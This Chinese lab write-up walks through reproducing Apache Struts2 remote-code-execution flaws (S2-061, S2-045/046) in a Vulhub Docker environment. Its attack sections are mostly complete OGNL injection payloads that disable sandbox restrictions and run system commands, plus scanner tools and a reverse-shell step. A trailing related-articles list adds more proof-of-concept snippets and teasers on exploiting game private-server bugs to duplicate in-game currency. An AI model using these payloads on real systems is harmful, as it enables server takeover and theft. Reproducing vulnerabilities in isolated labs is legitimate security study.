Vulhub靶场之struts2漏洞复现

article/2025/9/23 7:58:34

简介

struts2漏洞中属s2系列杀伤力最大,可以造成远程命令执行漏洞。

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。

环境识别

网页后缀带.action或者.do的极可能是struts2框架。

环境搭建

在github官网下载镜像安装在kali上
https://github.com/vulhub/vulhub
启动docker环境
service docker start
找到镜像的目录
cd  ./vulhub-master/struts2/s2-061
随后拉取镜像启动环境
ocker-compose up -d

s2-061漏洞复现

参考链接:Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现_山山而川'的博客-CSDN博客

Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现_锋刃科技的博客-CSDN博客

验证是否存在该漏洞,以下是测试payload。

http://192.168.3.108:8080/?id=%25%7b+%27test%27+%2b+(2021+%2b+20).toString()%7d

可以看出我们的加法运算成功了,因此存在该漏洞。

验证存在漏洞后,我们直接进行命令执行

http://192.168.3.108:8080/?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}

s2-045/s2-046漏洞复现

S2-046与 S2-045 类似,只是攻击字段发生变化。修复方案依然与 S2-045 相同。

启动环境

访问靶场

随便选择和输入文件,随后进行抓包

payload

Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

strust2漏洞综合利用工具

liqunkit

扫描出存在s2-045和s2-046漏洞

可以直接进行命令执行

strust2scan

对目标进行扫描,由于s2-045和s2-046类似,因此扫描的是46

进行反弹shell,要记住这里反弹shell的参数是 -lr ,端口任意

xray

开启监听

挂上代理直接扫描成功

启动和关闭

docker ps查看当前启动的容器,发现没有运行的

docker ps -a 查看历史运行的容器

docker start 4f5s(前四位ID即可) 启动我们想要启动的容器

学习完记得关闭容器


http://chatgpt.dhexx.cn/article/hIZdnC4F.shtml

相关文章

java struts2 漏洞_Struts2漏洞利用

Struts漏洞合集 Struts-S2-013漏洞利用 受影响版本 Struts 2.0.0 - Struts 2.3.14.1 漏洞利用 任意命令执行POC: ${(#_memberAccess["allowStaticMethodAccess"]true,#ajava.lang.RuntimegetRuntime().exec(id).getInputStream(),#bnew java.io.InputStre…

struts2漏洞监测_全版本struts2漏洞练习

docker中有struts2全版本的漏洞平台 1、首先在docker中进行下载: # docker pull 2d8ru/struts2 2、其次运行:(48729为物理机的端口,可随意指定) # docker run --name struts2 -p48729:8080 -d 2d8ru/struts2 3、下载struts2漏洞扫描工具&…

Struts2漏洞复现

一. S2-016复现 打开测试靶场,测试该网站存在index.action路径 漏洞原理: 参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行 测试POC: 2.1 /index.action?redirect:%25{3*4}2.2 /index.action?redirect:%…

java struts2 漏洞_Struts2漏洞简述

S2-005漏洞 S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。 S2-005则是绕过官方的安全配置(禁止…

【渗透测试】Struts2系列漏洞

目录 🌷S2-001 🌼1、漏洞原理 🌼2、影响版本 🌼3、验证方法 🌷S2-005 🌼1、漏洞原理 🌼2、影响版本 🌼3、验证方法(无回显) 🌼4、验证方法&#x…

Struts2漏洞分析与复现合集

文章目录 一、基础知识Struts2简介: 二、漏洞复现1、S2-001(OGNL 循环解析导致的 RCE 漏洞)漏洞原理:影响版本:环境搭建:poc:漏洞利用: 2、S2-005(S2-003 的绕过&#xf…

框架/组件漏洞系列1:struts2漏洞汇总

前言: 本篇文章中复现的漏洞不是特别全面,但是挑选了最近两年的漏洞进行复现,旨在对漏洞进行有用复现,毕竟一些老漏洞已经基本不存在了。 一、Struts简介 1、简介 基本介绍: Struts是Apache软件基金会&#xff08…

struts2漏洞

文章目录 漏洞一、struts2漏洞 S2-001漏洞原理复现 二、struts2漏洞 S2-005原理 分析一下003复现 三、struts2漏洞s2-007四、struts2漏洞 S2-008原理复现 五、struts2漏洞 S2-009原理复现 六、struts2漏洞 S2-012原理复现 七、struts2漏洞 S2-013原理复现 八、struts2漏洞 S2-0…

传奇私服搭建+微端

微端服务器引擎 数据库 客户端 版本 本来想发网盘链接,文件涉及敏感无法分享,需要的可以私下给你发。 企鹅号:1404765471 首先准备 1.三台服务器(服务端服务器 微端服务器 列表服务器)推荐Windows2008系统 2.私服…

传奇开服怎么开服?不会技术自己能开服吗?传奇开服需要准备什么?前期需要投入多少?

传奇开服怎么开服?不会技术自己能开服吗?传奇开服需要准备什么?前期需要投入多少? 作为经典怀旧游戏,传奇赢得了许多人的青睐,在这个科技的时代,玩服已经满足不了了,多数人会选择自己…

gm修改爆率需要重启服务器吗,传奇SF服务端上修改怪物爆率图文教程

修改怪物爆率基本上是每个版本在改的时候要走的一步,因为每个GM思路不同,想法不同,他给玩家展现出来的版本也不同,就是自己玩单机也要去改,谁不想爆率高点对吧,今天给大家讲解一下通过修改服务端的怪物爆率…

传奇私服游戏支付接口申请(已解决)

传奇游戏是一款经典打怪升级-PK游戏,盛大游戏公司于2001年9月发布,随后出现了众多传奇私服游戏版本。到现在依然受很多人喜爱,经历了多次升级换代,现已转变为游戏体验更加细腻的页游和手游,成为了小成本高收益的热门游…

传奇开服架设教程

传奇架设其实很简单 很多网友非常爱玩这款游戏,可能还有朋友不知道怎么架设这款游戏 今天特意写篇传奇架设教程,希望大家都能打造出真正属于自己的传奇 首先传奇架设需要准备以下几个软件 准备工具: 1、传奇服务端(版本&#…

传奇私服搭建网站的几种方法

搭建网站的几种方法: 一些人,连简单的搭建网站都不会,还要请技术帮忙,真是牛B,这里简单介绍下几种办法 一:2003系统下,直接使用IIS,这个太简单了,桌面上就有IIS&#xff…

传奇h5私服源码+教程

传奇h5私服源码教程 这几天突然想拿服务器做些什么,就想到搭一个私服游戏,学习娱乐一下。废话不多说下面给教程和源码。 传奇h5源码:https://download.csdn.net/download/qq_37258192/11997500 (重新上传了1次,积分变…

传奇私服服务器上怎么修改爆率,传奇私服怎么一次性调整爆率

满意答案 yhd514468637 推荐于 2017.10.03 怪物爆率文件在D:\Mirserver\Mir200\Envir\MonItems下面,一般默认的怪物爆率就已经非常不错,但根据服务器人数,有时候还是需要对爆率进行调整。 关于调整沃玛装备 沃玛装备为底级装备,控…

传奇架设-设置GM以及刷装备教程

传奇游戏虽然已经那么多年了,但是新手还是不断的在涌入进来,想学私服技术的也很多。 今天来说一下怎么设置GM,和怎么看命了吧!本来想做一个视频的,但是我觉得这个太过简单,图文还来的简单。 《第一章&…

传奇服中怎么刷装备

记得玩传奇的时候,最大的乐趣莫过于一起PK打装备,真的是让人激情四射了,想想都有点小激动呢,呵呵!但是等了做了GM以后,这点乐趣真的没有了,感觉打装备PK没有什么意思,倒是觉得刷装备…

传奇SF刷元宝之迷失版本刷叠加材料

传奇迷失版本刷材料漏洞教学 今天给大家带来传奇迷失版刷叠加材料,这个漏洞教学网上有人发过,不过很多人按照教程做了就是不触发。就是因为发布者去头掐尾的!最终目的就是让你们加他们所谓的群啊之类的引流罢了, 今天我给大家一个…

传奇SF刷元宝之王者荣耀版本

王者荣耀版本刷元宝卡爆率保姆级教学 王者荣耀版本刷元宝卡爆率详细教学 今天给大家带来传奇王者荣耀版本刷元宝和卡爆率的教程,这个漏洞教学网上有人发过,不过很多人按照教程做了就是不触发。就是因为发布者去头掐尾的!最终目的就是让你们加…